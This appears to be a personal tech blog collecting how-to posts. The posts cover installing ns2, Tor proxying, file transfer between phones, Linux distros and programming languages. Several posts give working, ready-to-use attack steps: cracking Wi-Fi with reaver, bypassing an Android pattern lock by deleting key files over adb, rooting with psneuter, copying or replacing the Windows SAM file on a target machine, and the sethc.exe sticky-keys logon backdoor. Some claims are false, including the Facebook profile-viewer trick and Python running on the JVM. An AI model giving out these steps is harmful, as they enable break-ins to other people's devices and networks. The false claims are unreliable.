How to install ns2 network simulator on linux

To install ns2 network simulator on linux you to need download some libraries in addition to downloading the actual package and also have to add some environment vaiables.

Follow these steps to download ns2 in your linux machine.

1. Download these libraries
    $ sudo apt-get update
    $ sudo apt-get install tcl8.5-dev tk8.5-dev build-essential autoconf automake perl xgraph libxv-dev libxt-dev libx11-dev

While you are downloading these libraries you may notice some of these were already installed.

2. Now after downloading all the libraries download ns2 package, you can easily find that on web or you can do this. http://sourceforge.net/projects/nsnam/
  

   $ tar -xzf ns-allinone-2.35.tar.gz
   $ cd ns-allinone-2.35

Before installing it
   $ gedit ns-2.35/linkstate/ls.h

In line 137 change erase() to this->erase() 
   $ ./install 

3. After downloading all the required package and libraries, set the environmental variable path to otcl, ns2 and nam in .bashrc file.
Change /home/shubham/ns2 with your path to ns-allonone-2.34

# LD_LIBRARY_PATH
OTCLLIB=/home/shubham/ns2/ns-allinone-2.35/otcl-1.14
NS2=/home/shubham/ns2/ns-allinone-2.35/lib
USR_LocalLIB=/usr/local/lib
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$OTCLLIB:$NS2:$USR_LocalLIB

# TCL_LIBRARY
TCLIB=/home/shubham/ns2/ns-allinone-2.35/tk8.5.10/library
USRLIB=/usr/lib
export TCL_LIBRARY=$TCLIB:$USRLIB

# PATH
XGRAPH=/home/shubham/ns2/ns-allinone-2.35/xgraph-12.2/:/path/to/ns-allinone-2.35/bin:/path/to/ns-allinone-2.35/tcl8.5.10/unix:/path/to/ns-allinone-2.35/tk8.5.10/unix
NS=/home/shubham/ns2/ns-allinone-2.35/ns-2.35
NAM=/home/shubham/ns2/ns-allinone-2.35/nam-1.15
export PATH=$PATH:$XGRAPH:$NS:$NAM

4. Now validate it.
   $ source .bashrc
   $ cd ns-allinone-2.35
   $ cd ns-2.35
   $ ./validate

Now ns2 will be installed and to check if it is installed then type ns and press enter if symbol changes to % then ns is installed.
   $ ns
   %

How to run tor on entire computer using proxychains and polipo

For running tor on the entire system, follow following steps.

1. Firstly download proxychains $ sudo apt-get install proxychains

2. Now, configure proxychains
     $ sudo nano /etc/proxychains.config
   
3. The bottom of the file replace "socks4" with "socks5" and "9050" with "9150" without "".

4. Now connect tor and remove the system proxy.

5. Install polipo
   $ sudo proxychains apt-get install polipo

6. Polipo will be downloaded using tor network and now configure polipo.

7.  $ sudo nano /etc/polipo/config 

Add following lines to end of the file.

socksParentProxy = localhost:9050
diskCacheRoot=""
disableLocalInterface=true

8. $ sudo service polipo restart

9. After all this is done change your system proxy to 127.0.0.1 and port 8123. If any application requires proxy supply this proxy.

10. After everything is setup, now you can download from terminal without using proxychains again and again, just type $ sudo apt-get install <package>

So, these were the steps to run tor on the entire linux machine.

How to migrate android studio form windows to linux

If you using android studio in windows and wants to move your work to linux, then you are at the right place. Google has lately made this really easy with the stable release of android studio.
Follow these steps:

1. Download android studio for linux and android sdk from google developer site https://developer.android.com/sdk/index.html

2. After downloading both the files extract them in your home folder.

3. Now  $ cd android-studio/bin/
             $ ./studio.sh

4. Now, install wizard will appear and follow the step to install it. You can download the sdk from this wizard or use the installed sdk by choosing custom installation and providing the path of the sdk.

5. During the installation you have to give the path of java jdk. It is usually /usr/local/jdk1.x.x/

Sometimes after the installation, new won't be able to create a new project then you try importing a project and then creating a new project.

How to copy hidden files in hide it pro to computer

In order to copy hidden files in hide it pro to a computer, you need to have following things.
1. adb
    In linux,  you can install adb by typing

    $ sudo apt-get install andoid-tools-adb

    In window you can simply download adb.

2. Computer
3. Android device with hide it pro application.

Before connecting your android phone to the computer enable USB debugging from the developers options in the settings. If developer options donot appear in the settings menu, then go to "About Phone" in the setting and tap on "model no." 5 times. Then developer options will appear in the settings. Now connect your device to the computer.

In windows, when you run adb, command prompt will appear and in linux you can open terminal to do following steps.

$ adb shell
$ adb pull
$ adb pull sdcard/ProgramData/Android/Language/.fr ./

Now, all the content of your hide it pro will be copied to your current directory.

If you want to copy something to hide it pro, from your computer. Then use following command in place of last command

$ adb push file.png sdcard/ProgramData/Android/Language/.fr 

How to transfer photos and videos from iOS(iPhone, iPad, iPod) to any device(Android, Windows, Mac)

In order to send files from iOS device to any other device, you require following  things setup

1. A wi-fi network
2. AirHive app from appstore
3. Any Web Browser in the recipient device


Whatever you want to send to other device should be in the Photos app of iOS device. If you have a video that you want to send, then you have to open it in the Photos app. If direct open is not present then, you can open it in iMovies app and then export it into Photos app. If that is set up then, follows the following steps

1. Open AirHive app and select the files to send.

2. Then click on the AirHive icon, so that it turns green.

3. After the icon turns green, it will give the ip address.

4. Enter that address in the recipient device's web browser.

5. Files will be downloaded as a zip file. Extract the file and there you go.

6. If you are using android, then you extract the file using Androzip app from google play store.

This technique works only for photos and videos to be send from the iOS device.

How to see who recently viewed your facebook page

Everybody on facebook view other person's profile and want to see who view theirs. So, to determine who viewed your profile, you just have to follow some steps;

1. Login your facebook account..
2. Right click on empty space and click on "view page source".
3. Press ctrl+f to search for "InitialChatFriendsList".
4. After this, follows the id of people who viewed your profile. Copy the id eliminating the -2 or -1 or so.
5. Now in go to the url, www.facebook.com/<id you copied> e.g. www.facebook.com/1000343132

This will open the profile of the person, who recently viewed your profile.

How to reset windows phone manually I.e. without turing ON the device

Sometimes you may need to reset your phone may be because you forgot your passcode or may be device is stuck in the boot loop. So, without wasting time, let's move on to real thing.

1. Firstly, turn OFF your device

2. Now, turn ON by holding down the power and bottom volume key, after about 10 seconds, let go of the volume down button and keep holding the volume down key. Now exclamation sign will appear on the screen.

3. Now press the following buttons in the specified order
volume up, volume down, power button, volume down

4. After this, youe device will restart and phone will be resetted.

How to send files from android to an iOS device(iPad, iPhone, iPod Touch) without jailbreak using wifi (no internet required)

I have tested this method on samsung galaxy s3 running jellybean 4.1.2 and ipad mini(retina) running iOS 7.0.4. For sending running files from android, you need to have "Fast File Transfer", it's available on Play Store for free, and for better experience you can download Documents from App Store for free, again. So, this method is completely free of cost, unlike other methods which invloves jailbreaking your device and then buy some app from cydia. Before moving any further, let me tell you this method does not work the other way wiz. sending files from iOS to android. So, that being said let's move on to some real stuff. 

This app uses a very clever way of sending data between two devices, what it does is that it makes a server of your android device and share selected files in that, thus when you connect to it using hostspot, you are actually accessing that server like you do when you connect to any website and you can download data from it, same way you do from any other site.

1. Firstly click on share button on your android device and select fast file transfer. 

2. Now, turn on wifi on iOS and connect to hostspot, made by fast file transfer on android. 

3. After connecting to the hostpost, the file transfer will show some ip address and port. Open the browser in your iOS device and type that address and port into it, exactly as shown by the app in the android. 

4. The file which was sent, will open up in the browser. 

The whole question which remains now, is how to save that file which is opened in the browser. There are many ways to perform that, some of them are listed below. 

1. If file send was pdf, ppt, doc or some other document file, then you can use safari browser and save the file in the reading list. 

2. If the file is pdf, the easiest way is to use the chrome browser and double tap on the window, the "open in" will appear at the bottom of the screen, top on it and choose Adobe Reader, it will be saved in Adobe Reader. 

3. Other method involes using browser in Documents app. Enter that ip address in this browser, it have the download option, which can download any type of file like png, jpeg, pdf, doc, ppt, xml etc. So this is most desirable way as it can be implements for all types of file. (you may have to sent the file twice in order to download it from Documents app). 

4. Best method is to download tdownloader, either of paid or free version and when you enter the IP address in the embedded browser in the tdowloader, it will give the prompt to either download the file or to play it. This is method is best suited when you are sending media file, for other types of file above method is more appropriate.

There may others ways also, which can be better than these for downloading files from the browser. So, if anyone can come up with a better way of doing it, feel free to comment

iPad, iPhone, iPod touch Wi-fi connected but internet is not working, proxy server

This is a problem with apple devices that when we connect them to proxy server, it gets connected but even then the internet or the app store does not work. It happens because the proxy server you are trying to connect with doesnot give all the settings required by the device to run but android devices manages to run in that settings. So, the most easiest way to resolve it is to complete them manually.

When you connect to network, click on the small arrow right next to it, then certain options will appear.

You will see that, some of the entries will be filled like ip address etc... and at the bottom, you must have added your proxy and port.

When this is done, few of the entries would be still empty like DNS etc..
Now enter Search domain as 8888 and entry below it i.e. Client ID as gdr.local

Now press the back button and now you will notice the wifi symbol on the notification bar and now your net and appstore will work, but mail app will not because the proxy we have added is http and mail uses different services like pop3 etc..

How to root any android phone manually

For rooting the android phone, your android debugging must be ON and you will require following things.



1. A linux machine, in my case ubuntu
2. adb - It can downloaded by following command on linux terminal
     $ sudo apt-get install android-tools-adb
3. busybox, Superuser.apk, psneuter

When you have it execute the following command step-wise.


$ adb devices

          This will list all the devices connected to the computer, if "no devices" is promting, check whether your USB Debugging is ON, which is present in developer options under settings.

$ adb push psneuter /data/local/tmp
          This copy the file in your device and now we will execute this file.
$ adb shell
$ cd /data/local/tmp
$ chmod 777 psneuter
$ ./psneuter

now it will run

$ adb kill-server
$ adb devices
$ adb shell

now # will appear in place of $, or after typing $su

# mount -o remount,rw -t rfs /dev/block/st19/system
# exit
$ adb push busybox /system/bin
$ adb push su /system/bin
$ adb install Superuser.apk
$ adb shell
# chmod 4755 /system/bin/busybox
# chmod 4755 /system/bin/su
# mount -o remount,ro -t rfs /dev/block/st19/system
# exit
$ adb reboot

now device will reboot and device will be rooted and su app will appear in app drawer.

How to hack a wifi network(WEP / WPA2) using linux (in my case ubuntu)

To hack the wifi password with WEP/WPA2, you gonna need following programs.

1. reaver - This is free tools which can be downloaded on linux for free by typing following command on linux terminal

$ sudo apt-get install reaver

2. aircrack-ng - It is also a free tool for linux and is also available for windows, it can downloaded by using dollowing command

$ sudo apt-get install aircrack-ng


This hacking method used bruteforce, that means it is going to take lot of time, may be sometimes a day, but will surely provide you with the password unlike the dictionary hack, which it inefficient if the password is not made by words in dictionary.
For those, who don't know what brute force, dictionary or rainbow hack is?
Brute Force is very old fashioned and efficient way of hacking but time consuming. It tries every possible combination of words, letters, symbols, numbers and finally gave the password.
Dictionary hack uses the dictionary for hacking the password, it tries all the combination of words available in dictionary and if the password is combination of dictionary words, then this method is the best method to hack any password.
Rainbow hack is somewhat the combination of rainbow and brute force, it removes certain words to be searched for password based on the dictionary and it is thus more efficient than brute force and dictionary hack, in general cases.

Now to hack the wifi password, follow the following steps.

1.  First open the wlan port where you will hack your wifi, this is done by following command on the terminal
$ airmon-ng start wlan0

2. Now, we have to list all the wifi network available
$ airodump-ng mon0

3. Now copy the bssid of the wifi network you want to hack and use in iplace of <bssid> in following command
$ reaver -i mon0 -b <bssid>

Now, the brute force will start and password will be hacked in sometime, depending on the length and complexity of password.

How to hack the lockscreen of android phone i,e bypass screen without PIN or pattern

How to bypass the pattern lockscreen of any android phone

To remove the pattern lock of the android devices, you gonna need a computer running any linux distro, as of my case ubuntu 13.04. Just follow the following steps

1. Open the linux terminal and type
    $sudo apt-get install android-tools-adb
   and let it install

2. When it is installed, connect the android device to the computer.

3. Type
    $adb devices
   a will device will be shown and if not then make sure that USB Debugging is switched ON, on the android devices, probably located in the developer options inside the settings(on device on or after android 4.0)

4. Now the device is shown, then type
    $adb shell
    $su
    #cd data/system
    #rm *.key;
    #exit
    $adb reboot

5. Now your device will be rebooted.

6. Now try any pattern, the device will open.

If after the step, $su, the $ doesnot changed to #, or a error pops up, it means that your device is not rooted. Fortunately, methods are there which can unlock the phone, even if the device is not rooted, that I will write about next time.

How to run all video formats(mkv, avi, flv, mp4, 3gp, wmp, rmvb) on iPhone, iPad, iPod Touch

Apple doesnot allow to run video formats other than mp4, but however they allow developers to make the codecs for other formats to run on iOS. There are various apps around that can run various video formats like flv, mkv, avi and many other, some of them are free. The best free app is vlc for iOS, it support iPhone, iPad and iPod touch. Vlc is still one of the best video player around.

Steps to run all video formats on iOS are

1. Go to Appstore and search for "vlc for iOS" and download it.

2. After downloading it connect you iOS device to the computer running iTunes.

3. Go select your device from iTunes and move the Apps tab.

4. Now scroll down and where you see apps, and vlc will be mentioned there.

5. Select the vlc and click on "Add" button and choose the video you want to add to it.

6. Now disconnect your device and open the vlc for iOS app on your device and you will all the videos, you added there.

Unfortunately it have some bugs. I came through only one of them, when you open .flv video files audio for that video donot play at once, you have to play it again to listen to audio.

How to become the system user in windows and take the SAM file

Windows generally have three types if users wiz. user, administrator, system user. We users only have access to first two users and system user is like the root user in linux. Microsoft does not give us option to function as system user, that means we are not the sole owner of the windows, as we cannot use it as root.

So, here is the way to become the system user of our windows and do whatever we want. In my previous blogs I have mentioned that windows passwords are stored in SAM file in c:\windows\system32\config and we cannot view it or copy or delete it. But once we become the system user we can manipulate this file also. Now you may got the essence of system user.

Here are the steps to become the system user and take home the SAM file.

1. Download psexec.exe from sysinternal

2. Place it your C drive(or drive in which your windows is installed)

3. Open the cmd.exe and type cd \ . It will place you in the root directory where psexec is placed.

4. Use the following command   psexec -i -s cmd.exe

where -i for interactive

          -s for system account

5. When the command completes cmd shell will launched then type whoami, it will say "system"

6. Now, open the task manager and kill the explorer.exe

7. From thr cmd shell that is currently opened type start explorer.exe

8. When the explorer is launched, notice the name "system" as the user. Now you can delete or copy files in the windows\system32 folder which were not possible when your either admin or normal user.

9. Now you can also copy SAM file and extract hashes from it.

How to remove proxy from the linux terminal

As linux has become one of the major platforms in the computer systems. But it is still far from being perfect like windows or mac. It works, but sometimes it just don't. But it is still the best when it comes to Character User Interface(CUI). Sure, Windows and Mac also provide terminal, but they are simply not as developed as of ubuntu or any linux.

Since its launch it has come a long way down the road. But still today, it not the perfect or simplest platform to work, its graphical interface still face lot of problems. One if its problem is changing the proxy.

When proxy is changed from the network settings , from the settings applications, sometimes it doesn't apply to linux terminal or even the browser. No matter how many times system proxy is changed or restarted it just doesn't work. Method to change the proxy through is simple and it always works, all you have to do is follow following steps.

1.  Firstly you have to gain the root access of the system. You can achieve that by su command or sudo su, and then entering your user password if you have never done it before.

2. #cd /etc/apt

3. There will be a file located named "apt.conf"

4. Open the file by #nano apt.conf

5. In this you file all your proxy for various http, https, ftp connections proxy would be mentioned.

6. Change the proxy, to your desired configuration.

7. Save the file and now your new settings will be implimented to the entire system.

Hope it helped, if still any problem occurs, feel free to contact me.

Which is best linux distro?

This is a topic which will surely create some controversy. Everyone have different views regarding the various distros of the linux. Even the topic is highly subjective, I have tried to put various distros of the linux in different category for the best distro of that category.

Most Popular

Why does it matter which distros are most popular? They generally offer more resources: larger free software repositories, more tutorials, better doc, more support, and active forums.

Well, the title of most popular is taken by Ubuntu which also include Kubuntu, Xubuntu, Lubuntu, Gubuntu and others. Canonical claims 22 millions ubuntu users and 1.3 million servers running Ubuntu and 22000 new users joining each month.

The next spot in this category will surely be Red Hat.The Red Hat family includes Red Hat Enterprise Linux, CentOS, Fedora, Oracle Linux, and others. I've seen estimates that Red Hat has over 12 million users and Fedora over 1 million. Red Hat is the first billion dollar Linux company

Most User Friendly

The first spot according to me, should go to Mint. Well, Mint is based on Ubuntu, but still is provides far more different user environment than regular ubuntu. Since it is based on Ubuntu, it also enjoys the perks of Ubuntu that include huge software repositories, a familiar system, a big user community, etc. Mint protected their user by providing with the mate and cinnamon. The former is contribution of GNOME 2 interface and latter have GNOME 3 interface.

Many other distros can also cite the spot of most user friendly, but Mint philosophy of capitalizing on Ubuntu while addressing its shortcomings is a winner.

Best Live Distro

The live OS is that which can run right from any bootable flash drive and include all features of a OS to maintain and work on the system.

The first place in this category should be taken by Puppy Linux. This distro can run on any computer right from the flash drive without even the need for installing it. It can run systems that even have some component broken or very laggy computers or systems with lot of restrictions.

It is the distro with just 130 MB of download size, it can run entirely from the memory of the system, at least 256 MB.

Best for older Computers 

If you have an older PC, like a Pentium IV or III, (or even a II!) you need a distro that will run on minimal hardware. It should also be tested on older machines. Puppy Linux fits the bill. It can make your old Windows XP or 98 computer useful again.

Many distros theoretically run on older hardware but they don't have a large user community running mature systems. Join the Puppy forum and you'll see that you're in the right place. 

Best Office Desktop

The office desktop requires the most out of the system which includes office software, email client, calendering and contacts manager. With such requirements everyone have only distro name for it , that is OpenSUSE.

Not only does OpenSUSE come with all the bundled apps you need in the office, it also supplies consistent, user-friendly interfaces. No jumping off the deep end with OpenSUSE: you're not forced into the Windows 8 UI or Unity. So you can just get your work done.

With applications like LibreOffice and Wine, you can co-exist with organizations still using Windows and Office. LibreOffice allows you to interchange office files while Wine runs over 20,000 Windows apps under Linux. (LibreOffice and Wine run on nearly all Linux distros.)

Best Support

If you are looking for the paid support for the linux system that Red Hat is the best way to go. It have great service to offer to maintain your system and a nice user interface. But unlike other distros , it a paid version. Oracle Linux works really well with server database and various offering from the oracle.

For Hackers

If you are into hacking and hopes to continue the legacy with the linux, then Back Track is the best available option for you. Back Track provides with the various vulrability testing software right from the installation. It comes with various application which help to find the vulrability in the system and provides with many other software which helps to do so.

So, these were the various distros of the linux by category. I really hopes this will help you to choose the best linux distro. I would like state it again that, all distros of the linux are good in their own way, but what makes it best is what you are looking for in it.

Fake Password(or pin) for the Hide it Pro (Audio Manager)

Hide it Pro or Audio Manager provides the feature of the fake password. Consider a situation, where someone caught you hiding something in the audio manager and ask you about it, now what you gonna do? In such situations, the need for a fake password emerges.

Whenever you enter this fake password the vault of the audio manager will open, but it will show every folder empty. That means you can open the vault for anybody, without showing the content of it. Default password for it is 8888 , but it is wise to keep a more obvious password, maybe reverse of the main password.

If you wish to set up your own fake password follow the following steps.

!. Enter the vault of the audio manager, by entering your main password.

2. Select settings > Login Settings > Fake Pin.

Inside of the fake pin you can customize your own fake pin or password and give your content another wall of safety. 

PROGRAMMING LANGUAGES

There was the time when there were very few programming languages in the market and so was usage of them. As the development in the field of technology, communication and computer science, the need for more simpler, more user friendly and having more application has increased over the time. And now, the market is flooded with the number of programming languages. Every language overpowers other in some specific field and some has very large field of application and are used in many other works.

 So, some of the most useful programming languages and their use in various aspects are described below.

1. Objective-C
    It is a object oriented programming language that adds Smalltalk-style messaging to the C programming language. It is the main programming language used by apple computers to built application for iOS and OS X operating systems.
Objective C was developed in 1980s and was selected as the main language language by the Steve Jobs company NeXT for their operating system and from which present iOS and OS X are derived.
It is thin layer over the original C language and it possible to compile a C language in the objective C compiler or a using a complete C programming as a class for a objective-C program.

2. Java
   Java was developed by the sun microsystems. It is most widely used programming language and is currently used in many forms like as mobile operating system, mobile applications, android application, many software and web applications.
Java is unique in its working and is first of its type and now many programming are developed to run on java virtual machine, which act as a virtual machine to run compiled java programs. After compilation of a java program , program is converted into java bytecode which is understandable only by the java virtual machine(JVM). There are many compilers and interpreters which use JVM to run the code e.g. JRUBY (Ruby interpreter), JYTHON ( python interpreter ).

3. Python
   Python is a interpreted language, which translates every single line of code one by one unlike java or C or objective-C which are compiled language, they tranlates the code to machine language in one go. The main objective of using python is the code readability. It is also a object oriented programming like other two listed so far.Python is mostly used to make programs which are cross-platform.
Application made by python run of JVM and thus does not depend on the operating system, so they can be executed on any operating system.
Python is very strict of identation, program made in python have to identated otherwise it will cause execution error even code is correct.

How to hack windows password

There are various ways out there, by which we can hack the windows password. In windows, after the windows NT, mircrosoft have changed the way of security for the windows password. Now the password is  stored in a file in the registry, which can easily be accessed by the user but cannot be opened. The password is stored in a file named SAM.

The file is present in following directory.
C:\Windows\System32\config

As you can see the file named SAM is present which have password for all users.
When we try to open this file, it will show a message and it won't open.

Now, in order to hack the password we just need to replace this file by some other file which can easily achieved by running some other OS in the system and replace this file from the SAM file of some other computer. The other OS which can be used are quite a long list, anyway we'll use ubuntu.
Follow the following steps

1. Copy the SAM file of some computer in removable storage like pendrive or flash drive.
2. Make bootable pendrive or disk of ubuntu by using any software.
3. Insert the bootable in the computer to be hacked and boot the OS(you may need to change the boot order of the machine from the BIOS of the system).
4. Now choose try ubuntu and then it will boot up.
5. Open the directory in which SAM file is present and delete that and now copy the file taken from other computer in place of the file.
6. shutdown and restart the computer.

Now when you boot the windows, the user name from other computer will appear and password will be of the other computer. And now you can easily access the system without the use of old password.

You can use any other OS in place of ubuntu. I have used ubuntu beacuse its free and easily avaliable.

Hope it works for you, feel free to comment below if you encounter any problem.

How to change the password of computer even at log on screen and hence by pass the password.

There are various methods of hacking around the world developed by developers. These methods are sometimes applicable in all systems while some of the methods are for specific systems only.

Therefore another step of hacking is dependent of a very simple concept. When we press shift key for 5-6 times continuiosly then sticky key comes up. So this process of hacking involves changing that sticky key window with the command prompt and then change the password of the computer by following the process I explained in my last post

Now the only thing you have to do is to change the sticky key into the command prompt in the log on screen. But in order to change it you should had used the computer before and do the trick so that you can easily by pass the log on screen by removing/changing the password. So for this hack to happen you must had used the computer before.

So you should perform the following steps as follows.

1. Go to windows and then system32.

2. Find the file named cmd.exe

3. Copy this file to desktop and rename it to sethc.exe

4. If it show some kind of error then u should gain the full control of the file through the security tab of properties, to do it follow these sub steps.
     (a). Right click on the file and then click properties.
     (b). Switch to security tab then click on advanced and then gain full control of the file by changing the permissions of the file and make it to administrator control.

5. Then copy the file to the system32 and see the magic.

And now when you tab shift several times you will find command prompt opening up even at log on screen.

And now after opening the command prompt you can easily change the password of the computer.